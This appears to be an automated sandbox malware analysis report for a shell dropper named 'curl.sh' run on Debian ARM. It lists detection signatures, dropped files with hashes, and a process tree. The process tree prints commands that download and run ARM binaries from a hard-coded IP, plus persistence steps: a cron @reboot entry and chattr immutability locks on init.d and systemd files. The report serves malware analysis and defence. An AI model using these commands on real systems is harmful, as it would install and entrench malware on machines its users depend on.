Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26/07/2026, 16:25

General

  • Target
    curl.sh
  • Size 1KB
  • Sample260726-tw9f2sysaz
  • SHA256 21ffeade7a2ca38e1cf578598afb3b6b36034e111e937300bb697dd9cbf3f7e4
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Creates/modifies environment variables 1 TTPs 8 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Modifies Bash startup script 2 TTPs 8 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 10 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/curl.sh
    /tmp/curl.sh
    1⤵
    • Executes dropped EXE
    PID:651
    • /usr/bin/curl
      curl -O http://64.89.163.215/bins/putita.arm
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:653
    • /bin/chmod
      chmod +x putita.arm
      2⤵
      • File and Directory Permissions Modification
      PID:678
    • /tmp/putita.arm
      ./putita.arm
      2⤵
      • Deletes itself
      • Creates/modifies environment variables
      • Modifies init.d
      • Modifies rc script
      • Modifies systemd
      • Modifies Bash startup script
      • Changes its process name
      • Reads runtime system information
      PID:679
      • /bin/sh
        sh -c "crontab -l 2>/dev/null"
        3⤵
          PID:681
          • /usr/bin/crontab
            crontab -l
            4⤵
            • Reads runtime system information
            PID:682
        • /bin/sh
          sh -c "(crontab -l 2>/dev/null; echo '@reboot /usr/lib/kworker-helper') | crontab - 2>/dev/null"
          3⤵
            PID:683
            • /usr/bin/crontab
              crontab -
              4⤵
              • Creates/modifies Cron job
              • Reads runtime system information
              PID:685
            • /usr/bin/crontab
              crontab -l
              4⤵
              • Reads runtime system information
              PID:686
          • /usr/bin/chattr
            chattr +i /etc/init.d/kworker-helper
            3⤵
              PID:689
            • /usr/bin/chattr
              chattr +i /etc/systemd/system/kworker-helper.service
              3⤵
                PID:688
              • /usr/bin/chattr
                chattr +i /usr/lib/kworker-helper
                3⤵
                  PID:687
              • /usr/bin/curl
                curl -O http://64.89.163.215/bins/putita.arm5
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:694
              • /bin/chmod
                chmod +x putita.arm5
                2⤵
                • File and Directory Permissions Modification
                PID:698
              • /tmp/putita.arm5
                ./putita.arm5
                2⤵
                  PID:699
                • /usr/bin/curl
                  curl -O http://64.89.163.215/bins/putita.arm6
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:700
              • /bin/busybox
                chattr +i /etc/systemd/system/kworker-helper.service
                1⤵
                  PID:691
                • /bin/busybox
                  chattr +i /etc/init.d/kworker-helper
                  1⤵
                    PID:692
                  • /bin/busybox
                    chattr +i /usr/lib/kworker-helper
                    1⤵
                      PID:690

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

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                          Downloads

                          kworker-helper

                          • Path /etc/init.d/kworker-helper
                          • Size 379B
                          • SHA256 daeb1a39fa3bf6fad15573d3aba269ac40fd43532bb487be2ed13453756cbe50
                          • MD5 SHA1 SHA512 TLSH

                          kworker-helper.service

                          • Path /etc/systemd/system/kworker-helper.service
                          • Size 190B
                          • SHA256 dcc492c83b938187ae12ae6df39f2350a98bb80761d79aa3ad4f29fa9a371c07
                          • MD5 SHA1 SHA512 TLSH

                          .ashrc

                          • Path /root/.ashrc
                          • Size 61B
                          • SHA256 30fc62ecc4fde897502efdd4821bd14c60694b758b6664f4044cfd48ca3a2efb
                          • MD5 SHA1 SHA512

                          putita.arm

                          • Path /tmp/putita.arm
                          • Size 57KB
                          • SHA256 d7095a429463d5b5934f6820d35f575300f635a7819bdf43a74ec9cff84e66fa
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          tmp.yDaU27

                          • Path /var/spool/cron/crontabs/tmp.yDaU27
                          • Size 207B
                          • SHA256 5b1c34a53ae9ecd8f12f0fd800712a8376b2c259e14144c259da810c77ecda35
                          • MD5 SHA1 SHA512 TLSH